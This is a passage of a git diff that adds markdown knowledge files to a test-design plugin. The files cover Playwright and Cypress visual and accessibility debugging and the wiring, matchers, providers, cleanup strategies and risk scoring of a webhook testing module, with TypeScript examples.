+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
+- [ ] Cleanup strategy matches provider capability: `matched-only` for providers that support `deleteById` (e.g. WireMock); `full-reset` with serial execution or an isolated provider instance per worker for MockServer/Mockoon
+- [ ] Timeout values appropriate for the delivery pipeline latency (Kafka pipelines need 15s+)
+- [ ] `WebhookTimeoutError` imported and tested in negative path coverage
+- [ ] Mock server (WireMock/MockServer/Mockoon) in Docker Compose / test infra
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-module-setup.md` — Fixture wiring for each provider
+- `webhook-template-matchers.md` — Template and matcher patterns
+- `risk-governance.md` — Risk scoring framework
+- `probability-impact.md` — P×I scale definitions
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-template-matchers.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-template-matchers.md
new file mode 100644
index 0000000..58d9cf7
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-template-matchers.md
@@ -0,0 +1,160 @@
+# Webhook Template Matchers
+
+## Principle
+
+Build typed templates with `webhookTemplate()` and compose matchers using `matchField`, `matchPartial`, and `matchPredicate`. All matchers on a template use AND semantics — every matcher must pass for a webhook to be considered a match. Templates are immutable value objects produced by a fluent builder.
+
+## Template Factory Pattern
+
+Define template factories as pure functions that accept a test-scoped ID. This is the key pattern for parallel isolation — each factory call produces a template bound to a specific entity:
+
+```typescript
+import { webhookTemplate } from '@seontechnologies/playwright-utils/webhook';
+
+// Template factories for movie webhooks
+// 15s timeout: the Kafka → HTTP webhook delivery pipeline can back up under
+// high CI concurrency (burn-in with many parallel workers). 10s was occasionally
+// not enough; 15s gives the pipeline headroom without slowing normal runs.
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+```
+
+The ID parameter scopes each template to a specific entity, preventing parallel workers from matching each other's webhooks.
+
+## Matcher Reference
+
+### matchField — dot-path exact match
+
+Traverses dot-notation paths into the payload. Never throws if the path is missing — a missing path evaluates as non-matching.
+
+```typescript
+webhookTemplate('order.created')
+  .matchField('event', 'order.created') // top-level field
+  .matchField('data.id', orderId) // nested path
+  .matchField('data.status', 'pending') // nested string value
+  .build();
+```
+
+Matcher detail output: `field(data.id=42)`
+
+### matchPartial — deep subset check
+
+Checks that the expected object is a subset of the received payload. Extra fields in the payload are ignored. Arrays use strict length matching.
+
+```typescript
+const partialTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.created.partial')
+  .matchPartial({ event: 'movie.created', data: { id: movieId } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `partial({"event":"movie.created","data":{"id":42}})`
+
+### matchPredicate — arbitrary function
+
+Accepts any `(payload: T) => boolean` function. Always requires a human-readable description string — this appears in `WebhookTimeoutError.matcherDetails` for debugging.
+
+**ID-scoped parallel isolation** (prevents cross-worker contamination in `waitForCount`):
+
+```typescript
+const batchTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number };
+}>('movie.created.batch')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${id1} or ${id2}`, (p) => p.data.id === id1 || p.data.id === id2)
+  .withTimeout(15_000)
+  .withInterval(500)
+  .build();
+```
+
+**Business data filtering**:
+
+```typescript
+const highRatingTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; rating: number };
+}>('movie.created.high-rating')
+  .matchField('event', 'movie.created')
+  .matchPredicate(`data.id is ${movieId} and data.rating >= 9`, (p) => p.data.id === movieId && p.data.rating >= 9)
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+Matcher detail output: `predicate(data.id is 42 and data.rating >= 9)`
+
+## Combining Matchers
+
+All matchers use AND semantics — all must pass for the webhook to match:
+
+```typescript
+// Combined field + partial: both matchers must pass
+const updateTemplate = webhookTemplate<{
+  event: string;
+  data: { id: number; name: string };
+}>('movie.updated')
+  .matchField('event', 'movie.updated')
+  .matchPartial({ data: { id: movieId, name: nameUpdate.name } })
+  .withTimeout(10_000)
+  .withInterval(500)
+  .build();
+```
+
+## Per-Template Timeout and Interval
+
+Override the registry defaults on a per-template basis:
+
+```typescript
+webhookTemplate('slow.pipeline.event')
+  .matchField('event', 'slow.pipeline.event')
+  .withTimeout(60_000) // 60s for slow delivery pipelines
+  .withInterval(2_000) // poll every 2s
+  .build();
+```
+
+## clone() for Base Template Variations
+
+> **Note**: `clone()` is available on the builder but is not used in the playwright-utils E2E suite. Use it when multiple tests share the same base template with slight field variations.
+
+```typescript
+const base = webhookTemplate<OrderPayload>('order').matchField('event', 'order.completed');
+
+const forOrderA = base.clone().matchField('data.orderId', 'A').build();
+const forOrderB = base.clone().matchField('data.orderId', 'B').build();
+```
+
+## Builder API Summary
+
+| Method                      | Description                                            |
+| --------------------------- | ------------------------------------------------------ |
+| `webhookTemplate<T>(name)`  | Create a new builder with the given template name      |
+| `.matchField(path, value)`  | Add dot-path exact-match matcher                       |
+| `.matchPartial(expected)`   | Add deep-subset matcher                                |
+| `.matchPredicate(desc, fn)` | Add arbitrary predicate matcher (description required) |
+| `.withTimeout(ms)`          | Override registry default timeout                      |
+| `.withInterval(ms)`         | Override registry default poll interval                |
+| `.clone()`                  | Copy current builder state for variation               |
+| `.build()`                  | Produce the immutable `WebhookTemplate<T>` object      |
+
+## Related Fragments
+
+- `webhook-waiting-querying.md` — waitFor, waitForCount, drain pattern
+- `webhook-timeout-error.md` — Reading matcherDetails in error output
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-testing-fundamentals.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-testing-fundamentals.md
new file mode 100644
index 0000000..dfedb2d
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-testing-fundamentals.md
@@ -0,0 +1,42 @@
+# Webhook Testing Fundamentals
+
+## Principle
+
+Webhook delivery is eventually consistent — your application fires HTTP callbacks asynchronously after events occur. Tests must poll until the expected webhook arrives or time out. The `@seontechnologies/playwright-utils` webhook module provides deterministic polling, typed matchers, rich timeout diagnostics, and cleanup strategies safe under `fullyParallel: true`.
+
+## Rationale
+
+Webhook tests fail for four structural reasons:
+
+- **Eventually consistent**: Webhook delivery happens asynchronously — you cannot assert immediately after triggering an event
+- **Parallel journal pollution**: When multiple workers share the same mock server, a fast worker's teardown can delete records a slow worker is still polling
+- **Opaque timeouts**: A bare timeout tells you only that the webhook didn't arrive — it shows you nothing about what did arrive
+- **Cleanup drift**: Resetting the full journal in `afterEach` creates a race condition under `fullyParallel: true`
+
+The playwright-utils approach:
+
+- **Polling via `recurse`**: Uses Playwright's `expect.poll` under the hood — retries with configurable timeout and interval until a match is found
+- **Typed matchers**: `matchField`, `matchPartial`, `matchPredicate` — all must pass (AND semantics); matchers never throw on missing paths
+- **Rich timeout errors**: `WebhookTimeoutError` carries `totalReceived`, `receivedWebhooks`, and `matcherDetails` so you can see what arrived vs. what was expected
+- **Isolation via `startedAt`**: Each `WebhookRegistry` instance records its creation timestamp; polling only fetches webhooks received after that point, preventing leakage from prior tests
+- **Two cleanup strategies**: `full-reset` (resets entire journal) and `matched-only` (deletes only matched webhooks — parallel-safe when the provider supports delete-by-ID, e.g. WireMock)
+
+## When to Use Webhook Tests
+
+| Scenario                                                          | Use webhook tests         |
+| ----------------------------------------------------------------- | ------------------------- |
+| Application publishes events to external subscribers              | ✅ Required               |
+| Event-driven architecture with Kafka/event bus → webhook delivery | ✅ Required               |
+| Payment, order, or notification side effects via webhooks         | ✅ Required               |
+| Testing that a webhook was NOT delivered                          | ✅ Verify via timeout     |
+| Polling a status endpoint for eventual consistency                | ❌ Use `recurse` directly |
+| Frontend receiving push notifications (WebSocket)                 | ❌ Different mechanism    |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Fixture wiring and cleanup strategies
+- `webhook-template-matchers.md` — matchField, matchPartial, matchPredicate
+- `webhook-waiting-querying.md` — waitFor, waitForCount, getReceived, drain pattern
+- `webhook-timeout-error.md` — WebhookTimeoutError debugging
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider
+- `webhook-risk-guidance.md` — Risk-based guidance for TA and TD capabilities
diff --git a/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-timeout-error.md b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-timeout-error.md
new file mode 100644
index 0000000..34b7b73
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-design/resources/knowledge/webhook-timeout-error.md
